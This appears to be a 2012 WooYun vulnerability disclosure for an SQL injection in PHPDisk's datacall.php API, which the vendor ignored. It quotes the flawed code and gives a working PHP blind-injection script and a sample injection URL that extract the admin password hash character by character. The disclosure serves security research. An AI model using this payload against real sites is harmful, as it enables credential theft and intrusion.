当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-015410

漏洞标题:躺在床上读代码之 phpdick SQL注射

相关厂商:phpdisk.com

漏洞作者: 快点啊!!

提交时间:2012-11-29 16:10

修复时间:2012-12-04 16:10

公开时间:2012-12-04 16:10

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:12

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-11-29: 细节已通知厂商并且等待厂商处理中
2012-12-04: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

一个漏洞都没有被确认,那我还是都看看wooyun有注册的厂商的代码吧。

详细说明:

在phpdisk/api/datacall.php
中有一段代码:

$order = trim(gpc('order','G',''));
$by = trim(gpc('by','G',''));
$limit = (int)gpc('limit','G',0);
if(!$type || !$order || !$by || !$limit){
echo 'PHPDisk Datacall Parameter is null or Error!';
exit;
}
$filter_arr = array('select','delete','update','insert');
for($i=0;$i<count($filter_arr);$i++){
if(strpos($order,strtolower($filter_arr[$i]))!==false){
die('PHPDisk Datacall Parameter Error!');
}
}
if($type=='user'){
echo '<ul>'.LF;
$q = $db->query("select username,userid from {$tpf}users order by $order $by limit $limit");


$order和$by进入了query查询,看的出来作者想到了可能会有人在order里提交query,但是他没想到在不提交order,在by里提交一样可以注射。

漏洞证明:

phpdisk.jpg


<?php
$file = 'http://localhost/phpdisk/api/datacall.php';
for($i=0;$i<32;$i++) {
$path = $i+1;
foreach(array('a','b','c','d','e','f',0,1,2,3,4,5,6,7,8,9) as $w) {
$api = $file.'?type=user&by='.urlencode('(if(((select substring(password,'.$path.',1) from pd_users where userid=1)=0x'.bin2hex($w).'),userid,username))').'&order=/**/&limit=1';
if(strpos(file_get_contents($api),'admin')!==false) {
echo $w;
break;
}
}

}
//http://localhost/phpdisk/api/datacall.php?type=user&by=if%28%28%28select%201%20from%20pd_users%20where%20userid=1%20limit%201%29=2%29,userid,username%29&order=/**/&limit=1
?>

修复方案:

只允许a-z的order和by

版权声明:转载请注明来源 快点啊!!@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2012-12-04 16:10

厂商回复:

最新状态:

暂无